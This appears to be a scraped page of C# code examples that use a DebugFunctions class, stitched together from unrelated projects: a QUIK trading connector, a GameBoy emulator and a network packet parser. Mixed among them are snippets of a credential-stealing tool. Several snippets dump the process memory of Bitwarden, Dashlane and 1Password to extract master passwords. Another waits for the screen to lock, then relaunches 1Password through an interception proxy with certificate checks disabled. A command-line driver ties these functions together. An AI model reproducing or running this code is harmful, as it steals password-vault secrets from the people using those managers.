Exemplo n.º 1
0
        public static void EchoTransaction()
        {
            var _df = new DebugFunctions(Quik.DefaultPort);

            var sw = new Stopwatch();

            Console.WriteLine("Started");
            for (int round = 0; round < 10; round++)
            {
                sw.Reset();
                sw.Start();

                var count = 10000;
                var t     = new Transaction();

                var array = new Task <Transaction> [count];
                for (int i = 0; i < array.Length; i++)
                {
                    array[i] = _df.Echo(t);
                }
                for (int i = 0; i < array.Length; i++)
                {
                    var res = array[i].Result;
                    array[i] = null;
                }

                sw.Stop();
                Console.WriteLine("MultiPing takes msecs: " + sw.ElapsedMilliseconds);
            }
            Console.WriteLine("Finished");
            Console.ReadKey();
        }
Exemplo n.º 2
0
        public static void EchoTransaction() {
            var _df = new DebugFunctions(Quik.DefaultPort);

            var sw = new Stopwatch();
            Console.WriteLine("Started");
            for (int round = 0; round < 10; round++) {
                sw.Reset();
                sw.Start();

                var count = 10000;
                var t = new Transaction();

                var array = new Task<Transaction>[count];
                for (int i = 0; i < array.Length; i++) {
                    array[i] = _df.Echo(t);
                }
                for (int i = 0; i < array.Length; i++) {
                    var res = array[i].Result;
                    array[i] = null;
                }

                sw.Stop();
                Console.WriteLine("MultiPing takes msecs: " + sw.ElapsedMilliseconds);
            }
            Console.WriteLine("Finished");
            Console.ReadKey();
        }
Exemplo n.º 3
0
        public override void RunThread()
        {
            while (mRun)
            {
                Byte[] receiveBytes = mUdpClient.Receive(ref mIPEndPoint);
                DebugFunctions.PrintChars("receive bytes:" + receiveBytes.Length.ToString() + "\n");
                NewData(this, new DataEventArgs(ref receiveBytes));

                using (var fileStream = new FileStream("data.bin", FileMode.Append, FileAccess.Write, FileShare.None))
                {
                    using (var bw = new BinaryWriter(fileStream))
                    {
                        Byte[] len = BitConverter.GetBytes(receiveBytes.Length);
                        bw.Write(len, 0, 2);
                        bw.Write(receiveBytes, 0, receiveBytes.Length);
                    }
                }

                /*
                 * int fragment_type = receiveBytes[12] & 0x1f;
                 * int nal_type = receiveBytes[13] & 0x1f;
                 * int start_bit = Convert.ToInt32((receiveBytes[13] & 0x80) != 0);
                 * int end_bit = Convert.ToInt32((receiveBytes[13] & 0x20) != 0);
                 */
            }
        }
Exemplo n.º 4
0
        public static void Ping()
        {
            var _df = new DebugFunctions(Quik.DefaultPort);

            var sw = new Stopwatch();

            Console.WriteLine("Started");
            for (int round = 0; round < 10; round++)
            {
                sw.Reset();
                sw.Start();

                var count = 10000;
                var array = new Task <string> [count];
                for (int i = 0; i < array.Length; i++)
                {
                    array[i] = _df.Ping();
                }
                for (int i = 0; i < array.Length; i++)
                {
                    var pong = array[i].Result;
                    array[i] = null;
                    Trace.Assert(pong == "Pong");
                }

                //for (var i = 0; i < count; i++) {
                //    var pong = qc.Ping().Result;
                //    Trace.Assert(pong == "Pong");
                //}
                sw.Stop();
                Console.WriteLine("MultiPing takes msecs: " + sw.ElapsedMilliseconds);
            }
            Console.WriteLine("Finished");
            Console.ReadKey();
        }
Exemplo n.º 5
0
 protected override bool ProcessCmdKey(ref Message msg, Keys keyData)
 {
     if (keyData == Keys.F2)
     {
         State.StateSystem.saveState("save.state");
     }
     if (keyData == Keys.F3)
     {
         State.StateSystem.loadState("save.state");
     }
     if (keyData == Keys.F11)
     {
         DebugFunctions.Z80Form().DoStepInto();
         DebugFunctions.CodeViewForm().GotoPC();
         return(true);    // indicate that you handled this keystroke
     }
     if (keyData == Keys.F10)
     {
         DebugFunctions.Z80Form().DoStepOver();
         DebugFunctions.CodeViewForm().GotoPC();
         return(true);    // indicate that you handled this keystroke
     }
     if (keyData == Keys.F5)
     {
         DebugFunctions.Z80Form().DoStart();
         return(true);    // indicate that you handled this keystroke
     }
     if (keyData == Keys.F6)
     {
         DebugFunctions.Z80Form().DoStop();
         return(true);    // indicate that you handled this keystroke
     }
     // Call the base class
     return(base.ProcessCmdKey(ref msg, keyData));
 }
Exemplo n.º 6
0
 public static void dumpBitwardenMaster()
 {
     //Process[] procs = Process.GetProcessesByName("Bitwarden.exe");
     Process[] procs = Process.GetProcessesByName("BiTWarDen");
     Console.WriteLine("[DEBUG] Number of Processes Found: {0}", procs.Length);
     foreach (var proc in procs)
     {
         DebugFunctions.writeDebug(String.Format("Enumerating Process: {0} - {1}", proc.Id, proc.ProcessName), Globals.DebugMode);
         string strResult = MemoryHelper.dumpProcessMemory(proc);
         //var matches = Regex.Matches(strResult, "offline_access").Cast<Match>().Select(m => m.Index);
         //foreach (var match in matches)
         //{
         //	Console.WriteLine(match);
         //}
         //Maybe convert this to a regex. Shouldn't take a long time and end with a cleaner result.
         if (strResult.Contains("\"amr\":[\"Application\"]}"))
         {
             DebugFunctions.writeDebug("Found String Indicator, attempting to pull password", Globals.DebugMode);
             int start, end;
             start = strResult.IndexOf("\"amr\":[\"Application\"]}", 0);
             end   = start + 100;
             Console.WriteLine("[SUCCESS] Potential Bitwarden Password Location found! {0}", strResult.Substring(start, end - start).Split('\0')[1]);
             return;
         }
         else
         {
             Console.WriteLine("[-] Unable to locate Master Password in this process.");
         }
     } //endfor
     Console.WriteLine("[-] Unable to locate Master Password in any process.");
 }
Exemplo n.º 7
0
 public static bool loadState(string filename)
 {
     try
     {
         GameBoy.Cpu.Init();
         DebugFunctions.ResetDebug();
         FileStream fs = File.Open(filename, FileMode.Open, FileAccess.Read);
         int        l  = (int)fs.Length;
         byte[]     ba = new byte[l];
         fs.Read(ba, 0, l);
         fs.Close();
         int  startAdr  = 0;
         long imageSize = BitConverter.ToInt64(ba, 0);
         startAdr += 8;
         startAdr += (int)imageSize;
         //CARTRIDGE
         startAdr = GameBoy.Cartridge.Unserialize(ref ba, startAdr);
         //MEM
         startAdr = GameBoy.Ram.Unserialize(ref ba, startAdr);
         //CPU
         startAdr = GameBoy.Cpu.Unserialize(ref ba, startAdr);
         GameBoy.Cpu.Start();
         return(true);
     }
     catch (Exception e)
     {
         Console.Write(e);
         return(false);
     }
 }
Exemplo n.º 8
0
        public static void Ping() {
            var _df = new DebugFunctions(Quik.DefaultPort);

            var sw = new Stopwatch();
            Console.WriteLine("Started");
            for (int round = 0; round < 10; round++) {
                sw.Reset();
                sw.Start();

                var count = 10000;
                var array = new Task<string>[count];
                for (int i = 0; i < array.Length; i++) {
                    array[i] = _df.Ping();
                }
                for (int i = 0; i < array.Length; i++) {
                    var pong = array[i].Result;
                    array[i] = null;
                    Trace.Assert(pong == "Pong");
                }

                //for (var i = 0; i < count; i++) {
                //    var pong = qc.Ping().Result;
                //    Trace.Assert(pong == "Pong");
                //}
                sw.Stop();
                Console.WriteLine("MultiPing takes msecs: " + sw.ElapsedMilliseconds);
            }
            Console.WriteLine("Finished");
            Console.ReadKey();
        }
Exemplo n.º 9
0
 //////////////////////////////////////////////////////////////////////
 //
 //////////////////////////////////////////////////////////////////////
 public void ReadAt(ushort address, ushort lenght, ref char[] data)
 {
     DebugFunctions.ASSERT((address + lenght < (int)eMemoryMap.eMemoryMap_MemorySize), "ReadAt outside of memory !");
     DebugFunctions.ASSERT((data.Length == lenght), "ReadAt wrong ref array size");
     for (ushort i = 0; i < lenght; i++)
     {
         data[i] = (char)m_MemoryMap[address + i];
     }
 }
Exemplo n.º 10
0
 //////////////////////////////////////////////////////////////////////
 //
 //////////////////////////////////////////////////////////////////////
 public byte[] ReadAt(ushort address, ushort lenght)
 {
     DebugFunctions.ASSERT((address + lenght < (int)eMemoryMap.eMemoryMap_MemorySize), "ReadAt outside of memory !");
     byte[] bOut = new byte[lenght];
     for (ushort i = 0; i < lenght; i++)
     {
         bOut[i] = m_MemoryMap[address + i];
     }
     return(bOut);
 }
Exemplo n.º 11
0
 public DebuggerForm()
 {
     InitializeComponent();
     this.IsMdiContainer = true;
     this.Width          = 1600;
     this.Height         = 1200;
     this.Visible        = true;
     this.KeyPreview     = true;
     m_debugFunctions    = new DebugFunctions(this);
 }
Exemplo n.º 12
0
 //////////////////////////////////////////////////////////////////////
 //
 //////////////////////////////////////////////////////////////////////
 private void UpdateCpu()
 {
     if (m_halted)
     {
         //m_interruptsMgr.Update();
         //return;
         byte b  = 0;
         byte b1 = GameBoy.Ram.ReadByteAt(0xFF0F);
         byte b2 = GameBoy.Ram.ReadByteAt(0xFFFF);
         b = (byte)(b1 & b2);
         if (b != 0x00)
         {
             /*
              * The interrupt-enable flag and its corresponding interrupt request flag are set
              *  IME = 0 (Interrupt Master Enable flag disabled)
              *      Starting address: address following that of the HALT instruction
              *  IME = 1 (Interrupt Master Enable flag enabled)
              *      Starting address: each interrupt starting address
              */
             if (m_ImeFlag)
             {
                 m_interruptsMgr.Update();
             }
             m_halted = false;
         }
         else
         {
             return;
         }
     }
     if (!m_DmaTransfertStarted)
     {
         if (GameBoy.IsDebuggerEnabled())
         {
             if (!m_IsDebbugerReady)
             {
                 m_IsDebbugerReady = DebugFunctions.IsReady();
             }
             if (m_IsDebbugerReady && DebugFunctions.CodeViewForm().DoBreakIfNeeded(GameBoy.Cpu.PC))
             {
                 GameBoy.Cpu.Stop();
             }
             if (m_IsDebbugerReady && RunOneInstruction(true))
             {
                 ReInitDebug();
             }
         }
         else
         {
             RunOneInstruction(false);
         }
     }
     CheckDMA();
 }
Exemplo n.º 13
0
 //////////////////////////////////////////////////////////////////////
 //
 //@return true / if instruction was NOP
 //
 //////////////////////////////////////////////////////////////////////
 public bool RunOneInstruction(bool bDebugEnabled)
 {
     if (m_started || m_runOnce || m_runToStepOver)
     {
         bool bCanRun = bDebugEnabled ? DebugFunctions.Z80Form().CanStep() : true;
         if (bCanRun && (m_curInstruction == null || m_curInstructionCurCycle >= m_curInstructionNbCycles))
         {
             if (m_interruptsMgr.Update())
             {
                 return(true);
             }
             else
             {
                 byte opcode = 0;
                 opcode           = GameBoy.Ram.ReadByteAt(m_PC);
                 m_curInstruction = m_decoder.GetNextInstruction();
                 if (m_curInstruction == null)
                 {
                     ThrowNullInstructionException(opcode, m_PC, bDebugEnabled);
                     return(true);
                 }
                 if (m_runOnce)
                 {
                     m_runOnce = false;
                     m_curInstructionCurCycle = m_curInstructionNbCycles;
                 }
                 if (bDebugEnabled)
                 {
                     DebugFunctions.CallStackForm().AddToCallstack();
                 }
                 ushort oldPc = m_PC;
                 m_PC = m_curInstruction.Exec(m_PC);
                 m_curInstructionNbCycles = m_curInstruction.GetCurNbCycles(oldPc);
                 m_curInstructionCurCycle = 4;
                 GameBoy.Cpu.IncInstructionNumber();
                 if (m_runToStepOver && opcode == 0xC9)
                 {
                     m_runToStepOver = false;
                     Stop();
                 }
             }
         }
         else
         {
             if (!m_halted)
             {
                 //on avance 4 cycles par 4 cycles car le timer est a 1Mhz, donc x4 pour les 4Mhz de la GB
                 m_curInstructionCurCycle += 4;
             }
         }
         return(true);
     }
     return(false);
 }
Exemplo n.º 14
0
        //////////////////////////////////////////////////////////////////////
        //
        //////////////////////////////////////////////////////////////////////
        private void ThrowNullInstructionException(byte opcode, ushort pc, bool bDebugEnabled)
        {
            GameBoy.Cpu.Stop();
            if (bDebugEnabled)
            {
                DebugFunctions.CallStackForm().AddToCallstack();
            }
            string            message = String.Format(" Wrong instruction, cannot be decoded (0x{0:x2}), PC = 0x{1:x4}", opcode, pc);
            string            caption = "Error";
            MessageBoxButtons buttons = MessageBoxButtons.OK;
            DialogResult      result;

            result = MessageBox.Show(message, caption, buttons);
        }
Exemplo n.º 15
0
 /// <summary>
 /// Quik interface in .NET constructor
 /// </summary>
 public Quik(int port = DefaultPort, IPersistentStorage storage = null) {
     if (storage == null) { Storage = new EsentStorage(); } else { Storage = storage; }
     QuikService = QuikService.Create(port);
     // poor man's DI
     QuikService.Storage = Storage;
     Events = QuikService.Events;
     Debug = new DebugFunctions(port);
     Service = new ServiceFunctions(port);
     Class = new ClassFunctions(port);
     OrderBook = new OrderBookFunctions(port);
     Trading = new TradingFunctions(port);
     StopOrders = new StopOrderFunctions(port, this);
     Orders = new OrderFunctions(port, this);
     Candles = new CandleFunctions(port);
     QuikService.Candles = Candles;
     QuikService.StopOrders = StopOrders;
 }
Exemplo n.º 16
0
        //////////////////////////////////////////////////////////////////////
        //
        //////////////////////////////////////////////////////////////////////
        public bool Update()
        {
            if (!m_interruptStarted)
            {
                if (GameBoy.Cpu.IMEStatus())
                {
                    for (int i = 0; i < (int)e_interrupt.__max_interrupts__; i++)
                    {
                        if (IsEnabled((e_interrupt)i) && IsRequested((e_interrupt)i))
                        {
                            Reset_IF((e_interrupt)i);
                            Reset_IME();
                            //save current PC adress
                            GameBoy.Cpu.SP -= 0x02;
                            GameBoy.Ram.WriteUshortAt(GameBoy.Cpu.SP, GameBoy.Cpu.PC);

                            //jump to interrupt adress
                            GameBoy.Cpu.PC = e_interrupts_startAdr[i];
                            if (DebugFunctions.CallStackForm() != null)
                            {
                                DebugFunctions.CallStackForm().AddInterruptToCallstack(i);
                            }
                            if (GameBoy.Cpu.IsHalted())
                            {
                                GameBoy.Cpu.ResumeFromHalt();
                            }
                            m_interruptStarted  = true;
                            m_interruptCurCycle = 4;
                            return(true);
                        }
                    }
                }
            }
            else
            {
                m_interruptCurCycle += 4;
                if (m_interruptCurCycle >= INTERRUPT_NB_CYCLES)
                {
                    m_interruptStarted  = false;
                    m_interruptCurCycle = 0;
                    return(true);
                }
            }
            return(false);
        }
Exemplo n.º 17
0
        public static void LaunchWithProxy(bool force)
        {
            //Check if screen is locked.
            //Need to fix this because it only checks for a lock change notification, and doesn't determine if the screen is locked.
            if (!force)
            {
                DebugFunctions.writeDebug("Waiting for Screen to lock before bouncing application", Globals.DebugMode);
                Monitoring.CheckForWorkstationLocking workLock = new Monitoring.CheckForWorkstationLocking();

                workLock.Run();

                Console.WriteLine("Press ESC to exit...");
                while (!workLock.screenLocked)
                {
                    //wait a bit before checking again.
                    System.Threading.Thread.Sleep(10000);
                }
                ;
                DebugFunctions.writeDebug("Screen lock notification recieved, continuing.", Globals.DebugMode);
            }
            string procPath = "";

            Process[] procs = Process.GetProcessesByName("1Password");
            if (procs.Length < 1)
            {
                DebugFunctions.writeDebug("No Processes found", Globals.DebugMode);
            }
            foreach (var proc in procs)
            {
                if (procPath == "")
                {
                    procPath = proc.MainModule.FileName;
                    DebugFunctions.writeDebug("Getting Process Path: " + procPath, Globals.DebugMode);
                }
                //Kill All current Running Processes.
                proc.Kill();
            }
            DebugFunctions.writeDebug("Starting Process with New Arguments", Globals.DebugMode);
            Process bw = new Process();

            bw.StartInfo.FileName  = procPath;
            bw.StartInfo.Arguments = "--proxy-server=http://127.0.0.1:8888 --ignore-certificate-errors";
            bw.Start();
        }
Exemplo n.º 18
0
 private void RegisterInstruction(Z80Instruction inst)
 {
     byte[] opcodes = inst.opCodes;
     if (!inst.isBC)
     {
         for (byte i = 0; i < opcodes.Length; i++)
         {
             DebugFunctions.ASSERT(m_instructions[opcodes[i]] == null, "Overwriting instruction " + String.Format("{0:x2}", opcodes[i]) + " by " + inst.ToString());
             m_instructions[opcodes[i]] = inst;
         }
     }
     else
     {
         for (byte i = 0; i < opcodes.Length; i++)
         {
             DebugFunctions.ASSERT(m_BCInstruction[opcodes[i]] == null, "Overwriting instruction !");
             m_BCInstruction[opcodes[i]] = inst;
         }
     }
 }
Exemplo n.º 19
0
 public static void dumpDashlaneMaster()
 {
     Process[] procs = Process.GetProcessesByName("dashlane");
     Console.WriteLine("[DEBUG] Number of Processes Found: {0}", procs.Length);
     foreach (var proc in procs)
     {
         DebugFunctions.writeDebug(String.Format("Enumerating Process: {0} - {1}", proc.Id, proc.ProcessName), Globals.DebugMode);
         DebugFunctions.writeDebug("Dumping Memory", Globals.DebugMode);
         string strResult = DebugFunctions.ReturnCleanASCII(MemoryHelper.dumpProcessMemory(proc).Replace("\0", string.Empty));
         DebugFunctions.writeDebug("Parsing Memory Dump. Warning this could take a while.", Globals.DebugMode);
         //string r = @"\s{3}(.+)\s{3}receiveNotif";
         string r = @"\s{3}(.+)\0{3}";
         foreach (Match m in Regex.Matches(strResult, r))
         {
             Console.WriteLine("[DEBUG] '{0}' found at index {1}", DebugFunctions.ReturnCleanASCII(m.Value), m.Index);
         }
         DebugFunctions.writeDebug("Finished", Globals.DebugMode);
         Console.ReadKey();
     }
 }
Exemplo n.º 20
0
        public static void dumpDashLanePasswords()
        {
            Console.WriteLine("[!] Not Fully Implemented Yet!");
            return;

            //I'll come back to you, I promise.
            Process[] procs = Process.GetProcessesByName("Dashlane");
            Console.WriteLine("[DEBUG] Number of Processes Found: {0}", procs.Length);
            foreach (var proc in procs)
            {
                string strResult = DebugFunctions.ReturnCleanASCII(MemoryHelper.dumpProcessMemory(proc).Replace("\0", string.Empty));
                DebugFunctions.writeDebug("Parsing Memory Dump", Globals.DebugMode);
                //string r = @"\s{3}(.+)\s{3}receiveNotif";
                string r = @"CDATA";
                foreach (Match m in Regex.Matches(strResult, r))
                {
                    Console.WriteLine("[DEBUG] '{0}' found at index {1}", DebugFunctions.ReturnCleanASCII(m.Value), m.Index);
                }
                DebugFunctions.writeDebug("Finished", Globals.DebugMode);
                Console.ReadKey();
            }
        }
Exemplo n.º 21
0
 public RootLibary()
 {
     Test  = new TestLibrary();
     Debug = new DebugFunctions();
 }
Exemplo n.º 22
0
 //////////////////////////////////////////////////////////////////////
 //
 //////////////////////////////////////////////////////////////////////
 private void btn_StepInto_Click(object sender, EventArgs e)
 {
     DoStepInto();
     DebugFunctions.CodeViewForm().GotoPC();
 }
Exemplo n.º 23
0
 private void Awake()
 {
     Instance = this;
     Debug    = FindObjectOfType <DebugFunctions>();
 }
Exemplo n.º 24
0
        //Enable Cleartext Passwords and then read memory.

        /**
         *   "security": {
         * "concealPasswords": false
         * },
         **/

        //Step 1. Add that line to the 1Password
        //Step 2. Dump Memory(?)
        //Step 3. Passwords


        public static void dump1passwordMaster()
        {
            //Process[] procs = Process.GetProcessesByName("Bitwarden.exe");
            Process[] procs = Process.GetProcessesByName("1Password");
            Console.WriteLine("[DEBUG] Number of Processes Found: {0}", procs.Length);
            foreach (var proc in procs)
            {
                DebugFunctions.writeDebug(String.Format("Enumerating Process: {0} - {1}", proc.Id, proc.ProcessName), Globals.DebugMode);
                #region oldcode

                /**
                 *              //IntPtr hProc = proc.Handle;
                 *              IntPtr hProc = WinAPI.OpenProcess(WinAPI.ProcessAccessFlags.QueryInformation | WinAPI.ProcessAccessFlags.VirtualMemoryRead, false, proc.Id);
                 *              WinAPI.MEMORY_BASIC_INFORMATION64 mbi = new WinAPI.MEMORY_BASIC_INFORMATION64();
                 *              //32 bit
                 *              //WinAPI.MEMORY_BASIC_INFORMATION mbi = new WinAPI.MEMORY_BASIC_INFORMATION()
                 *              WinAPI.SYSTEM_INFO si = new WinAPI.SYSTEM_INFO();
                 *              if (hProc == IntPtr.Zero)
                 *              {
                 *                      //Failed.
                 *                      Console.WriteLine("Unable to create a connection to the process! Error Code: {0}", WinAPI.GetLastError());
                 *                      Environment.Exit(6);
                 *              }
                 *
                 *              WinAPI.GetSystemInfo(out si);
                 *              IntPtr hProc_min_addr = si.minimumApplicationAddress;
                 *              IntPtr hProc_max_addr = si.maximumApplicationAddress;
                 *              long hProc_long_min = (long)hProc_min_addr;
                 *              long hProc_long_max = (long)hProc_max_addr;
                 *              string fileName = "dump-" + proc.Id + "-" + proc.ProcessName + "-2.txt";
                 *              StreamWriter sw = new StreamWriter(fileName);
                 *
                 *              int bytesRead = 0;
                 *
                 *              while (hProc_long_min < hProc_long_max)
                 *              {
                 *                      bytesRead = WinAPI.VirtualQueryEx(hProc, hProc_min_addr, out mbi, (uint)Marshal.SizeOf(typeof(WinAPI.MEMORY_BASIC_INFORMATION64)));
                 *                      if (mbi.Protect == WinAPI.PAGE_READWRITE && mbi.State == WinAPI.MEM_COMMIT)
                 *                      {
                 *                              byte[] buffer = new byte[mbi.RegionSize];
                 *                              WinAPI.ReadProcessMemory(hProc, mbi.BaseAddress, buffer, mbi.RegionSize, ref bytesRead);
                 *                              for (long i = 0; i < mbi.RegionSize; i++)
                 *                              {
                 *                                      sw.Write((char)buffer[i]);
                 *                              }
                 *                      }
                 *                      hProc_long_min += mbi.RegionSize;
                 *                      hProc_min_addr = new IntPtr(hProc_long_min);
                 *              }
                 *              sw.Close();
                 *
                 **/
                #endregion
                //Slightly Dirty, but keeping the <LF> conversion to help rule out False Positives in output. Will need to re-visit this most likely.
                //string strResult = File.ReadAllText(fileName).Replace("\n", "<LF>").Replace("\0", String.Empty);
                string strResult = MemoryHelper.dumpProcessMemory(proc).Replace("\n", "<LF>").Replace("\0", String.Empty);
                if (strResult.Contains("{\"name\":\"master-password\",\"value\":\""))
                {
                    DebugFunctions.writeDebug("Found JSON Indicator, attempting to pull password", Globals.DebugMode);
                    int start, end;
                    start = strResult.IndexOf("{\"name\":\"master-password\",\"value\":\"", 0) + 35;
                    end   = strResult.IndexOf(",\"type\":\"P\",\"designation\":\"password\"},{\"name\":\"account-key\"", 0) - 1;
                    Console.WriteLine("[+] Potential 1Password Password Location found: {0}", strResult.Substring(start, end - start));
                    return;
                }
                else if (strResult.Contains("on 1password.com.<LF>"))
                {
                    DebugFunctions.writeDebug("First pass through didn't find anything, testing backup", Globals.DebugMode);
                    int    start, end;
                    string strStartSearch = "on 1password.com.<LF>";
                    start = strResult.IndexOf(strStartSearch, 0) + 20;
                    end   = strResult.IndexOf("<LF>secret key<LF>");
                    Console.WriteLine("[+] Potential 1Password Password Location found: {0}", strResult.Substring(start, end - start));
                    return;
                }
                else
                {
                    Console.WriteLine("[-] Unable to locate Master Password :(");
                    Console.ReadKey();
                }
                Console.WriteLine("Fin. Press any key to exit");
                Console.ReadKey();
            }
        }
Exemplo n.º 25
0
        /*
         * Function: ParseSplit
         * Description: A two-part parser to allow the first section of the packet to be parsed.
         */
        public byte ParseSplit(CircularFrameBuffer cfb, bool skip = false)
        {
            //lock (cfb.PeekData)
            {
                if (!skip)
                {
                    data_0  = cfb.PeekData.Tdata1 >> 48;
                    data_0 |= cfb.PeekData.Tdata2 << 16;
                    data_1  = cfb.PeekData.Tdata2 >> 48;
                    data_1 |= cfb.PeekData.Tdata3 << 16;
                    data_2  = cfb.PeekData.Tdata3 >> 48;

                    Version = (byte)((cfb.PeekData.Tdata1 >> 52) & 0x0f);
                    if (Version != 4)
                    {
                        DebugFunctions.push_interrupt(DebugFunctions.Errors.ILLEGAL_PACKET_FORMAT);
                    }
                    IHL = (byte)((cfb.PeekData.Tdata1 >> 48) & 0x0f);
                    if (IHL < 5 || IHL > 8)
                    {
                        DebugFunctions.push_interrupt(DebugFunctions.Errors.ILLEGAL_PACKET_FORMAT);
                    }
                    DSCP           = (byte)((cfb.PeekData.Tdata1 >> 58) & 0x3F);
                    ECN            = (byte)((cfb.PeekData.Tdata1 >> 56) & 0x3);
                    TotalLength    = (uint)(cfb.PeekData.Tdata2 & 0x00ffff);
                    Identification = (uint)((cfb.PeekData.Tdata2 >> 16) & 0x00ffff);
                    Flags          = (byte)((cfb.PeekData.Tdata2 >> 37) & 0x07);
                    FragmentOffset = (uint)((((cfb.PeekData.Tdata2 >> 32) & 0x01f) << 8) |
                                            ((cfb.PeekData.Tdata2 >> 40) & 0x0ff));
                    TTL            = (byte)((cfb.PeekData.Tdata2 >> 48) & 0x00ff);
                    Protocol       = (byte)((cfb.PeekData.Tdata2 >> 56) & 0x00ff);
                    HeaderChecksum = (uint)cfb.PeekData.Tdata3 & 0x00ffff;
                    SrcIp          = (cfb.PeekData.Tdata3 >> 16) & 0x00ffffffff;
                    _tmp_dest_ip   = (cfb.PeekData.Tdata3 >> 48) & 0x00ffff;
                }


                if (!cfb.CanAdvance())
                {
                    return(2);
                }

                cfb.AdvancePeek();

                if (IHL == 5)
                {
                    data_2 |= (cfb.PeekData.Tdata0 & 0xffff) << 16;
                }
                else if (IHL == 6)
                {
                    data_2 |= cfb.PeekData.Tdata0 << 16;
                    if (IHL == 7)
                    {
                        data_3  = cfb.PeekData.Tdata0 >> 48;
                        data_3 |= (cfb.PeekData.Tdata1 & 0xffff) << 16;
                    }
                    else if (IHL == 8)
                    {
                        data_3  = cfb.PeekData.Tdata0 >> 48;
                        data_3 |= cfb.PeekData.Tdata1 << 16;
                    }
                }

                DestIp = _tmp_dest_ip | ((cfb.PeekData.Tdata0 & 0x00ffff) << 16);
            }

            return(0);
        }
Exemplo n.º 26
0
        static void Main(string[] args)
        {
            var parsed = Args.Parse <MyArgs>(args);

            if (parsed.Debug)
            {
                Globals.DebugMode = true;
                Console.WriteLine("[DEBUG] Debug mode enabled. Outputting debug messages");
            }
            //var outFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
            //var cache = MemoryCache.Default.PhysicalMemoryLimit;
            //Command Line Options
            //Local Flag allowing the processing of a memory dump from the local machine.

            //Get Processes
            if (parsed.Monitor)
            {
                Console.WriteLine("[+] Starting Clipboard Monitor");
                Monitoring.Start();
            }

            if (parsed.Local)
            {
                Console.WriteLine("[!] Not Implemented (yet)");
            }

            if (parsed.Proxy)
            {
                string[] supportedManagers = { "bitwarden", "1password" };
                if (String.IsNullOrEmpty(parsed.Manager))
                {
                    Console.WriteLine("[!] Please specify a password manager with the -Manager flag!");
                    return;
                }
                if (!supportedManagers.Any(parsed.Manager.ToString().ToLower().Contains))
                {
                    Console.WriteLine("[!] Sorry, that password manager is not yet supported");
                    return;
                }
                new Thread(() =>
                {
                    Thread.CurrentThread.IsBackground = true;
                    DebugFunctions.writeDebug("Starting Proxy. Press any key to quit.", Globals.DebugMode);
                    ProxyHelper.startProxy();
                }).Start();
                switch (parsed.Manager.ToLower())
                {
                case "bitwarden":
                    BitWarden.LaunchWithProxy(parsed.Force);
                    break;

                case "1password":
                    _1Password.LaunchWithProxy(parsed.Force);
                    break;
                }
                Console.ReadKey();
                DebugFunctions.writeDebug("Stopping Proxy.", Globals.DebugMode);
                ProxyHelper.DoQuit();
                DebugFunctions.writeDebug("Proxy stopped, Press any key to exit.", Globals.DebugMode);
                Console.ReadKey();
                return;
            }
            else if (parsed.GetMaster)
            {
                switch (parsed.Manager.ToLower())
                {
                case "bitwarden":
                    Console.WriteLine("[+] Checking for Bitwarden Executables.");
                    BitWarden.dumpBitwardenMaster();
                    Console.ReadKey();
                    break;

                case "1password":
                    Console.WriteLine("[+] Checking for 1Password Executables.");
                    _1Password.dump1passwordMaster();
                    break;

                case "keepass":
                    //Initiate KeePass stuff.
                    Console.WriteLine("[-] Not currently implemented for KeePass, but checked out HarmJ0y's KeeThief located at https://github.com/HarmJ0y/KeeThief");
                    break;

                case "dashlane":
                    Dashlane.dumpDashlaneMaster();
                    break;

                default:
                    Console.WriteLine("[-] Password manager not currently supported!");
                    break;
                }
                return;
            }
            else if (parsed.Dump)
            {
                if (String.IsNullOrEmpty(parsed.Manager))
                {
                    Console.WriteLine("[!] Please specify a password manager with the -Manager flag!");
                    return;
                }
                switch (parsed.Manager)
                {
                case "bitwarden":
                    Console.WriteLine("[!] This functionality is not yet supported!");
                    break;

                default:
                    Console.WriteLine("[!] This functionality is not yet supported!");
                    break;
                }
                return;
            }
            else
            {
                Console.WriteLine("[!] No Options Selected");
            }
        }
Exemplo n.º 27
0
 public void PingWorks()
 {
     var df   = new DebugFunctions(Quik.DefaultPort, Quik.DefaultHost);
     var pong = df.Ping().Result;
 }
Exemplo n.º 28
0
 private void btn_StepOver_Click(object sender, EventArgs e)
 {
     m_autoStep = true;
     DoStepOver();
     DebugFunctions.CodeViewForm().GotoPC();
 }
Exemplo n.º 29
0
        /*
         * Function: WriteToBuffer
         * Description: Deparse and write to a bufferentry
         */
        public byte WriteToBuffer(CircularFrameBuffer.BufferEntry be, byte offset)
        {
            for (byte dataitem = 0; dataitem < 4; dataitem++)
            {
                ulong data;
                if (dataitem > 3)
                {
                    return(0);
                }

                switch (dataitem)
                {
                case 0:
                    data = SrcPort;
                    break;

                case 1:
                    data = DestPort;
                    break;

                case 2:
                    data = Length;
                    break;

                case 3:
                    data = Checksum;
                    break;

                default:
                    return(1);
                }

                var linenum    = offset / 64;
                var lineoffset = offset % 64;
                if (lineoffset % 8 != 0)
                {
                    DebugFunctions.push_interrupt(DebugFunctions.Errors.ILLEGAL_PACKET_FORMAT);
                }

                if (lineoffset <= 48)
                {
                    switch (linenum)
                    {
                    case 0:
                        be.Tdata0 = (be.Tdata0 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset);
                        break;

                    case 1:
                        be.Tdata1 = (be.Tdata1 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset);
                        break;

                    case 2:
                        be.Tdata2 = (be.Tdata2 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset);
                        break;

                    case 3:
                        be.Tdata3 = (be.Tdata3 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset);
                        break;
                    }
                }
                else
                {
                    switch (linenum)
                    {
                    case 0:
                        be.Tdata0 = (be.Tdata0 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset);
                        be.Tdata1 = (be.Tdata1 & ~((ulong)0xffff >> (64 - lineoffset))) |
                                    (data >> (64 - lineoffset));
                        break;

                    case 1:
                        be.Tdata1 = (be.Tdata1 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset);
                        be.Tdata2 = (be.Tdata2 & ~((ulong)0xffff >> (64 - lineoffset))) |
                                    (data >> (64 - lineoffset));
                        break;

                    case 2:
                        be.Tdata2 = (be.Tdata2 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset);
                        be.Tdata3 = (be.Tdata3 & ~((ulong)0xffff >> (64 - lineoffset))) |
                                    (data >> (64 - lineoffset));
                        break;

                    case 3:
                        DebugFunctions.push_interrupt(DebugFunctions.Errors.ILLEGAL_PACKET_FORMAT);
                        break;
                    }
                }

                offset += 16;
            }

            return(0);
        }
Exemplo n.º 30
0
 public CustomLibrary()
 {
